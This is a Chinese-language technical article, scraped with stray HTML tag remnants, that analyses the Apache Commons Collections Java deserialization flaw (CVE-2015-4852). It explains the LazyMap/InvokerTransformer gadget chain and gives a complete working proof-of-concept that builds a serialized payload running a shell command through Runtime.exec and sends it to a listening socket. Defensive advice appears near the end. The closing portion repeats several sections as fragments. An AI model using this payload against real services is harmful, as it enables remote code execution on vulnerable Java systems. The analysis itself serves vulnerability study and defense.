Apache Commons Collections反序列化漏洞深入分析与利用<\/h1>

漏洞概述<\/h2>
Apache Commons Collections是一个为Java提供强大数据结构的常用库。2015年曝出的反序列化漏洞(CVE-2015-4852)允许攻击者通过精心构造的序列化数据在目标系统上执行任意代码。<\/p>

核心漏洞原理<\/h2>

漏洞利用了两个关键组件：<\/p>

TransformedMap<\/strong> - 允许在Map条目被修改时触发预定义的操作<\/li>

InvokerTransformer<\/strong> - 通过反射机制调用任意Java方法<\/li> <\/ol>
关键技术点分析<\/h2>
1. TransformedMap机制<\/h3>
TransformedMap允许在Map的键或值被修改时执行预定义的转换操作：<\/p>
Map transformedMap =<\/span> TransformedMap.<\/span>decorate<\/span>(<\/span>map,<\/span> keyTransformer,<\/span> valueTransformer);<\/span> <\/span><\/span><\/code><\/pre> keyTransformer<\/code>: 键被修改时触发的转换器<\/li> valueTransformer<\/code>: 值被修改时触发的转换器<\/li> <\/ul> 2. Transformer接口<\/h3> Transformer是一个接口，只有一个方法：<\/p> Object transform<\/span>(<\/span>Object input)<\/span> <\/span><\/span><\/code><\/pre>Commons Collections提供了多种内置Transformer实现：<\/p> ConstantTransformer<\/code>: 总是返回固定值<\/li> InvokerTransformer<\/code>: 通过反射调用方法<\/li> ChainedTransformer<\/code>: 将多个Transformer串联执行<\/li> <\/ul> 3. 恶意Transformer链构造<\/h3> 通过ChainedTransformer<\/code>可以构造一个执行链，最终实现命令执行：<\/p> Transformer[]<\/span> transformers =<\/span> new<\/span> Transformer[]<\/span> {<\/span> <\/span><\/span> new<\/span> ConstantTransformer(<\/span>Runtime.<\/span>class<\/span>),<\/span> <\/span><\/span> new<\/span> InvokerTransformer(<\/span>"getMethod"<\/span>,<\/span> <\/span><\/span> new<\/span> Class[]<\/span> {<\/span>String.<\/span>class<\/span>,<\/span> Class[].<\/span>class<\/span>},<\/span> <\/span><\/span> new<\/span> Object[]<\/span> {<\/span>"getRuntime"<\/span>,<\/span> new<\/span> Class[<\/span>0<\/span>]}),<\/span> <\/span><\/span> new<\/span> InvokerTransformer(<\/span>"invoke"<\/span>,<\/span> <\/span><\/span> new<\/span> Class[]<\/span> {<\/span>Object.<\/span>class<\/span>,<\/span> Object[].<\/span>class<\/span>},<\/span> <\/span><\/span> new<\/span> Object[]<\/span> {<\/span>null<\/span>,<\/span> new<\/span> Object[<\/span>0<\/span>]}),<\/span> <\/span><\/span> new<\/span> InvokerTransformer(<\/span>"exec"<\/span>,<\/span> <\/span><\/span> new<\/span> Class[]<\/span> {<\/span>String.<\/span>class<\/span>},<\/span> <\/span><\/span> new<\/span> Object[]<\/span> {<\/span>"open -a Calculator"<\/span>})<\/span> <\/span><\/span>};<\/span> <\/span><\/span>Transformer transformChain =<\/span> new<\/span> ChainedTransformer(<\/span>transformers);<\/span> <\/span><\/span><\/code><\/pre>这个链相当于执行了：<\/p> ((<\/span>Runtime)<\/span> Runtime.<\/span>class<\/span>.<\/span>getMethod<\/span>(<\/span>"getRuntime"<\/span>).<\/span>invoke<\/span>()).<\/span>exec<\/span>(<\/span>"open -a Calculator"<\/span>)<\/span> <\/span><\/span><\/code><\/pre>4. 触发机制<\/h3> 要使这个Transformer链被执行，需要：<\/p> 将Transformer链与Map关联<\/li> 找到在反序列化过程中会自动操作Map的类<\/li> <\/ol> 利用链分析<\/h2> 利用链1: BadAttributeValueExpException<\/h3> 在JDK 1.8环境下可用的利用链：<\/p> BadAttributeValueExpException.readObject()<\/strong><\/p> 反序列化时调用val.toString()<\/li> <\/ul> <\/li> TiedMapEntry.toString()<\/strong><\/p> 调用getValue()<\/li> <\/ul> <\/li> LazyMap.get()<\/strong><\/p> 当键不存在时调用transform方法<\/li> <\/ul> <\/li> ChainedTransformer.transform()<\/strong><\/p> 执行恶意代码<\/li> <\/ul> <\/li> <\/ol> 具体实现：<\/p> Map innerMap =<\/span> new<\/span> HashMap();<\/span> <\/span><\/span>Map lazyMap =<\/span> LazyMap.<\/span>decorate<\/span>(<\/span>innerMap,<\/span> transformChain);<\/span> <\/span><\/span>TiedMapEntry entry =<\/span> new<\/span> TiedMapEntry(<\/span>lazyMap,<\/span> "foo233"<\/span>);<\/span> <\/span><\/span> <\/span><\/span>BadAttributeValueExpException exception =<\/span> new<\/span> BadAttributeValueExpException(<\/span>null<\/span>);<\/span> <\/span><\/span>Field valField =<\/span> exception.<\/span>getClass<\/span>().<\/span>getDeclaredField<\/span>(<\/span>"val"<\/span>);<\/span> <\/span><\/span>valField.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span> <\/span><\/span>valField.<\/span>set<\/span>(<\/span>exception,<\/span> entry);<\/span> <\/span><\/span><\/code><\/pre>利用链2: AnnotationInvocationHandler (旧版本JDK)<\/h3> 在早期JDK版本中，AnnotationInvocationHandler<\/code>的readObject<\/code>方法会操作memberValues<\/code>，可以触发Transformer链。<\/p> 完整PoC示例<\/h2> import<\/span> org.apache.commons.collections.Transformer;<\/span> <\/span><\/span>import<\/span> org.apache.commons.collections.functors.ChainedTransformer;<\/span> <\/span><\/span>import<\/span> org.apache.commons.collections.functors.ConstantTransformer;<\/span> <\/span><\/span>import<\/span> org.apache.commons.collections.functors.InvokerTransformer;<\/span> <\/span><\/span>import<\/span> org.apache.commons.collections.keyvalue.TiedMapEntry;<\/span> <\/span><\/span>import<\/span> org.apache.commons.collections.map.LazyMap;<\/span> <\/span><\/span> <\/span><\/span>import<\/span> javax.management.BadAttributeValueExpException;<\/span> <\/span><\/span>import<\/span> java.io.ObjectOutputStream;<\/span> <\/span><\/span>import<\/span> java.lang.reflect.Field;<\/span> <\/span><\/span>import<\/span> java.net.Socket;<\/span> <\/span><\/span>import<\/span> java.util.HashMap;<\/span> <\/span><\/span>import<\/span> java.util.Map;<\/span> <\/span><\/span> <\/span><\/span>public<\/span> class<\/span> POC<\/span> {<\/span> <\/span><\/span> public<\/span> static<\/span> void<\/span> main<\/span>(<\/span>String[]<\/span> args)<\/span> throws<\/span> Exception {<\/span> <\/span><\/span> \/\/ 构造恶意Transformer链 <\/span><\/span><\/span><\/span> Transformer[]<\/span> transformers =<\/span> new<\/span> Transformer[]<\/span> {<\/span> <\/span><\/span> new<\/span> ConstantTransformer(<\/span>Runtime.<\/span>class<\/span>),<\/span> <\/span><\/span> new<\/span> InvokerTransformer(<\/span>"getMethod"<\/span>,<\/span> <\/span><\/span> new<\/span> Class[]<\/span> {<\/span>String.<\/span>class<\/span>,<\/span> Class[].<\/span>class<\/span>},<\/span> <\/span><\/span> new<\/span> Object[]<\/span> {<\/span>"getRuntime"<\/span>,<\/span> new<\/span> Class[<\/span>0<\/span>]}),<\/span> <\/span><\/span> new<\/span> InvokerTransformer(<\/span>"invoke"<\/span>,<\/span> <\/span><\/span> new<\/span> Class[]<\/span> {<\/span>Object.<\/span>class<\/span>,<\/span> Object[].<\/span>class<\/span>},<\/span> <\/span><\/span> new<\/span> Object[]<\/span> {<\/span>null<\/span>,<\/span> new<\/span> Object[<\/span>0<\/span>]}),<\/span> <\/span><\/span> new<\/span> InvokerTransformer(<\/span>"exec"<\/span>,<\/span> <\/span><\/span> new<\/span> Class[]<\/span> {<\/span>String.<\/span>class<\/span>},<\/span> <\/span><\/span> new<\/span> Object[]<\/span> {<\/span>"open -a Calculator"<\/span>}),<\/span> <\/span><\/span> new<\/span> ConstantTransformer(<\/span>"1"<\/span>)<\/span> \/\/ 避免IDE提前触发 <\/span><\/span><\/span><\/span> };<\/span> <\/span><\/span> <\/span><\/span> Transformer transformChain =<\/span> new<\/span> ChainedTransformer(<\/span>transformers);<\/span> <\/span><\/span> <\/span><\/span> \/\/ 构造LazyMap <\/span><\/span><\/span><\/span> Map innerMap =<\/span> new<\/span> HashMap();<\/span> <\/span><\/span> Map lazyMap =<\/span> LazyMap.<\/span>decorate<\/span>(<\/span>innerMap,<\/span> transformChain);<\/span> <\/span><\/span> <\/span><\/span> \/\/ 构造TiedMapEntry <\/span><\/span><\/span><\/span> TiedMapEntry entry =<\/span> new<\/span> TiedMapEntry(<\/span>lazyMap,<\/span> "foo233"<\/span>);<\/span> <\/span><\/span> <\/span><\/span> \/\/ 构造BadAttributeValueExpException并设置val字段 <\/span><\/span><\/span><\/span> BadAttributeValueExpException exception =<\/span> new<\/span> BadAttributeValueExpException(<\/span>null<\/span>);<\/span> <\/span><\/span> Field valField =<\/span> exception.<\/span>getClass<\/span>().<\/span>getDeclaredField<\/span>(<\/span>"val"<\/span>);<\/span> <\/span><\/span> valField.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span> <\/span><\/span> valField.<\/span>set<\/span>(<\/span>exception,<\/span> entry);<\/span> <\/span><\/span> <\/span><\/span> \/\/ 发送序列化对象 <\/span><\/span><\/span><\/span> Socket socket =<\/span> new<\/span> Socket(<\/span>"127.0.0.1"<\/span>,<\/span> 9999<\/span>);<\/span> <\/span><\/span> ObjectOutputStream objectOutputStream =<\/span> new<\/span> ObjectOutputStream(<\/span>socket.<\/span>getOutputStream<\/span>());<\/span> <\/span><\/span> objectOutputStream.<\/span>writeObject<\/span>(<\/span>exception);<\/span> <\/span><\/span> objectOutputStream.<\/span>flush<\/span>();<\/span> <\/span><\/span> }<\/span> <\/span><\/span>}<\/span> <\/span><\/span><\/code><\/pre>防御措施<\/h2> 升级Commons Collections<\/strong><\/p> 升级到3.2.2或4.0及以上版本<\/li> 这些版本修复了InvokerTransformer的安全问题<\/li> <\/ul> <\/li> 反序列化防护<\/strong><\/p> 使用ObjectInputFilter限制反序列化的类<\/li> 使用安全管理器<\/li> <\/ul> <\/li> 代码层面<\/strong><\/p> 避免反序列化不可信数据<\/li> 使用白名单机制验证序列化对象<\/li> <\/ul> <\/li> <\/ol> 调试注意事项<\/h2> IDE干扰问题<\/strong><\/p> IDE可能会提前计算变量值，导致PoC被提前触发<\/li> 调试时要特别注意执行流程<\/li> <\/ul> <\/li> JDK版本差异<\/strong><\/p> 不同JDK版本中可利用的类和方法可能有差异<\/li> 需要针对目标环境测试利用链<\/li> <\/ul> <\/li> <\/ol> 总结<\/h2> Apache Commons Collections反序列化漏洞展示了Java反序列化的危险性。通过精心构造的Transformer链和利用特定类的反序列化行为，攻击者可以实现远程代码执行。理解这些利用技术对于开发安全的Java应用和有效防御此类攻击至关重要。<\/p>

Apache Commons Collections反序列化漏洞深入分析与利用<\/h1>

漏洞概述<\/h2> Apache Commons Collections是一个为Java提供强大数据结构的常用库。2015年曝出的反序列化漏洞(CVE-2015-4852)允许攻击者通过精心构造的序列化数据在目标系统上执行任意代码。<\/p>

关键技术点分析<\/h2>

利用链分析<\/h2>

利用链2: AnnotationInvocationHandler (旧版本JDK)<\/h3> 在早期JDK版本中，AnnotationInvocationHandler<\/code>的readObject<\/code>方法会操作memberValues<\/code>，可以触发Transformer链。<\/p>

漏洞概述<\/h2>
Apache Commons Collections是一个为Java提供强大数据结构的常用库。2015年曝出的反序列化漏洞(CVE-2015-4852)允许攻击者通过精心构造的序列化数据在目标系统上执行任意代码。<\/p>

利用链2: AnnotationInvocationHandler (旧版本JDK)<\/h3>
在早期JDK版本中，`AnnotationInvocationHandler<\/code>的readObject<\/code>方法会操作memberValues<\/code>，可以触发Transformer链。<\/p>`